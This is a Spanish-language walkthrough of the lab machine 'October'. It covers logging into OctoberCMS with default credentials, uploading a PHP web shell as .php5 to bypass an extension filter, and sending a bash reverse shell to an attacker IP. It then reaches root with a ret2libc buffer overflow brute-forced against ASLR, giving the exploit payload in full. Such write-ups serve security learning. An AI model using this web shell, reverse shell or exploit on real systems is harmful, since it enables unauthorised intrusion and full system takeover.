October


En esta máquina explotaremos un OctoberCMS con unas credenciales por defecto y una subida de archivos saltándonos una validación por extensión. En la escalada llevaremos a cabo un Buffer Overflow con una técnica llamada ret2libc con el ASLR (Aleatorización de las direcciones de la memoria.) activado

March 27, 202410 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

> ping -c 1 10.10.10.16
PING 10.10.10.16 (10.10.10.16) 56(84) bytes of data.
64 bytes from 10.10.10.16: icmp_seq=1 ttl=63 time=37.4 ms

--- 10.10.10.16 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 37.437/37.437/37.437/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.16 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.16
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> sudo nmap -sCV -p22,80 10.10.10.16 -Pn -oN versions

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-title: October CMS - Vanilla
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 80

Nmap ha reportado que el puerto 80 está abierto y tiene corriendo una web

Con un whatweb podemos ver a que nos enfrentamos

> whatweb http://10.10.10.16
http://10.10.10.16 [200 OK] Apache[2.4.7], Cookies[october_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], HttpOnly[october_session], IP[10.10.10.16], Meta-Author[October CMS], PHP[5.5.9-1ubuntu4.21], Script, Title[October CMS - Vanilla], X-Powered-By[PHP/5.5.9-1ubuntu4.21]

Es un October CMS, con una búsqueda en google podemos encontrar que este CMS tiene el login en el /backend y que las credenciales por defecto son admin:admin. Si probamos de autenticarnos con estas credenciales… Funciona, ahora ya estamos dentro del panel de administración

Intrusión

En el panel de administración hay una sección de subida de archivos donde podemos intentar colar un php.

Primero intentaremos subir un script básico llamado shell.php con el siguiente código

<?php
system($_GET['cmd']);
?>

Como era de esperar, da error.

Puede ser que esté bloqueando el archivo basándose en la extensión. El siguiente paso sería probar de mandar el archivo con otras extensiones de php.

.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

Este proceso lo podemos automatizar con burpsuite desde la sección de intruder.

Empezamos seleccionando que valor vamos a alterar, en este caso las extensiones

Seguimos subiendo un archivo con todas las extensiones que harán de diccionario para la fuerza bruta

> /usr/bin/cat extensions.txt
php
php2
php3
php4
php5
php6
php7
phps
phps
pht
phtm
phtml
pgif
shtml
htaccess
phar
inc
hphp
ctp
module

Solo falta darle a start atack.

Burpsuite lo que va a hacer es sustituir la extensión por cada una de las extensiones que le hemos pasado como diccionario. Dando como resultado lo siguiente.

Aquí podemos apreciar que las peticiones que intentan subir un archivo con una extensión bloqueada, dan como resultado un error 400 y las que si han podido subir un archivo devuelven un código 200

Ahora ya podemos acceder a los archivos subidos desde la siguiente ruta

http://10.10.10.16/storage/app/media/ http://10.10.10.16/storage/app/media/shell.php5

Para ganar acceso a la máquina solo queda ponerse en escucha por el puerto 443.

nc -nvlp 443

Y mandarnos una reverse shell

curl -s -G "http://10.10.10.16/storage/app/media/shell.php5" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.38/443 0>&1'"

Estamos dentro B)

Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Escalada de privilegios

Empezamos la escalada buscando archivos con permisos SUID

find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null

...
-rwsr-xr-- 1 root dip 323000 Apr 21  2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24  2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw

Entre todos los encontrados hay uno que llama la atención y es el /usr/local/bin/ovrflw, para ver que es y analizarlo, nos lo vamos a pasar a nuestra máquina de atacante

He intentado pasármelo a mi máquina con un servidor http de python, pero no funciona, así que nos lo pasaremos con base64

Máquina víctima:

base64 ovrflw

Guardamos todo el output en base64 en un archivo llamado temp.txt en la máquina atacante y después lo “decodeamos” y lo guardamos en un archivo llamado ovrflw

base64 -d temp.txt > ovrflw

Le damos permisos de ejecución

chmod +x ovrflw

Ya podemos empezar a analizarlo

Al ejecutarlo nos salta un mensaje explicando el uso del programa

> ./ovrflw
Syntax: ./ovrflw <input string>

Nos dice que hay que poner un input como parámetro

./ovrflw a

Pero no sale nada cuando ponemos algo.

Es raro, vamos a ver que esta pasando desde ghidra

Función main

undefined4 main(int param_1,undefined4 *param_2)

{
  char local_74 [112];
  
  if (param_1 < 2) {
    printf("Syntax: %s <input string>\n",*param_2);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  strcpy(local_74,(char *)param_2[1]);
  return 0;
}

1- Primero se declara una variable con un tamaño de buffer de 112

2- Se comprueba si hemos proporcionado un parámetro.

3- Se hace uso de la función strcpy para guardar nuestro input en la variable previamente declarada.

strcpy es una función que no es recomendable usar porque si el input es más grande del esperado provoca un desbordamiento del buffer, como en este caso:

> ./ovrflw $(python2 -c "print 'A'*200")
zsh: segmentation fault  ./ovrflw $(python2 -c "print 'A'*200")

Vemos el error segmentation fault así que podemos probar de llevar a cabo un buffer overflow

Vamos a comprobar las protecciones del binario para pensar como podríamos explotarlo

> checksec ./ovrflw
[*] '/home/d3b0o/Downloads/ovrflw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Tiene la protección NX activada por lo que no podemos hacer un Buffer Overflow y cargar shellcode en el stack porque no se va a ejecutar, pero lo que si podemos hacer es un Buffer Overflow ret2libc.

Lo primero es encontrar el offset para llegar al EIP (La cantidad de caracteres que necesitamos poner para llegar a sobreescribir el EIP).

Para ello usaremos gdb con el plugin pwndbg.

Creamos una cadena de texto de 500 caracteres

msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

Esta cadena de texto está especialmente diseñada para esto

Se lo mandamos a pwndbg

pwndbg> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Starting program: /home/d3b0o/Downloads/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
 EAX  0x0
*EBX  0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX  0xffffd290 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDX  0xffffcf62 ◂— 'Aq2Aq3Aq4Aq5Aq'
*EDI  0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI  0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP  0x41366441 ('Ad6A')
*ESP  0xffffcdf0 ◂— 0x39644138 ('8Ad9')
*EIP  0x64413764 ('d7Ad')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x64413764

El programa obviamente crashea, ya que hemos sobreescrito el EIP con una dirección que no existe y el programa no puede continuar.

Con el siguiente comando nos calcula automáticamente el offset del EIP

> msf-pattern_offset -l 500 -q 0x64413764
[*] Exact match at offset 112

Para comprobar que realmente es 112 vamos a mandar 112 ‘A’ acompañadas de 4 ‘B’ si todo ha funcionado el EIP debería valer 42424242, ya que B en hexadecimal es 42

pwndbg> r $(python2 -c "print 'A' * 112 + 'B' * 4")
Starting program: /home/d3b0o/Downloads/ovrflw $(python2 -c "print 'A' * 112 + 'B' * 4")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
 EAX  0x0
*EBX  0xf7e1dff4 (_GLOBAL_OFFSET_TABLE_) ◂— 0x21dd8c
*ECX  0xffffd290 ◂— 'AAAAAAAAAABBBB'
*EDX  0xffffcf62 ◂— 'AAAAAAAAAABBBB'
*EDI  0xf7ffcba0 (_rtld_global_ro) ◂— 0x0
*ESI  0x80484d0 (__libc_csu_init) ◂— push ebp
*EBP  0x41414141 ('AAAA')
*ESP  0xffffcf70 ◂— 0x0
*EIP  0x42424242 ('BBBB')
──────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────
Invalid address 0x42424242

Efectivamente funciona.

El siguiente paso para explotar el ret2libc es comprobar si el ASLR está activado.

ASLR: Aleatorización de las direcciones de la memoria. Esta protección no es del programa en sí, es una protección del sistema. En los sistemas actuales suele ser raro encontrarlo deshabilitado. Para ver si está habilitado le hacemos un cat al /proc/sys/kernel/randomize_va_space. Si el contenido es un 0, es que está deshabilitado, si no devuelve un 0 es que está habilitado

www-data@october:/usr/local/bin$ cat  /proc/sys/kernel/randomize_va_space
2

En este caso está habilitado, otra forma de comprobarlo sería viendo varias veces con un bucle la dirección del libc .

 www-data@october:/usr/local/bin$ for i in `seq 0 20`; do ldd ovrflw | grep libc; done

	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7589000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a5000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bb000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d0000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75bf000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b0000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761c000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d1000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7574000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756e000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759f000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75fb000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755a000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7548000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759b000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c8000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757a000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)

Podemos observar que va cambiando

Esto nos dificultará un poco la explotación.

El siguiente paso es encontrar las direcciones de system, /bin/sh y de forma opcional exit, lo que vamos a hacer es llamar a la función system y como parámetros le pasaremos /bin/sh para tener una sh ejecutada por root

(Desde la máquina víctima)

  • /bin/sh
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" 
 162bac /bin/sh
  • system y exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

También pillaremos una dirección de libc como esta, porejemplo 0xb75f5000

Calculamos las direcciones:

libc = 0xb75f5000

#SYSTEM
system = hex(libc + 0x40310)

#EXIT
exit = hex(libc + 0x33260)

#/bin/sh
sh = hex(libc + 0x162bac)

print(system, exit, sh)
> python3 bof.py
0xb7635310 0xb7628260 0xb7757bac

Ya tenemos las 3 direcciones, pero necesitamos pasarlas a little endian

  • System: 0xb7635310 -> \x10\x53\x63\xb7
  • Exit: 0xb7628260 -> \x60\x82\x62\xb7
  • /bin/sh: 0xb7757bac -> \xac\x7b\x75\xb7

El payload final quedaría de la siguiente forma

./ovrflw $(python2 -c "b'A' * 112 + b'\x10\x53\x63\xb7' + b'\x60\x82\x62\xb7' + b'\xac\x7b\x75\xb7'")

La idea está bien, pero esto no funcionaria porque no estamos teniendo en cuenta el ASLR, ya que estamos suponiendo que la dirección de libc es 0xb75f5000

Lo que podríamos hacer es ejecutar con un bucle inifinito el script, porque en algún momento la librería libc volverá a tener la dirección 0xb75f5000

while true; do /usr/local/bin/ovrflw $(python -c 'print b"A"*112 + "\x10\x53\x63\xb7" + "\x60\x82\x62\xb7" + "\xac\x7b\x75\xb7"'); done
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# whoami
root

Alcabo de un rato, somos root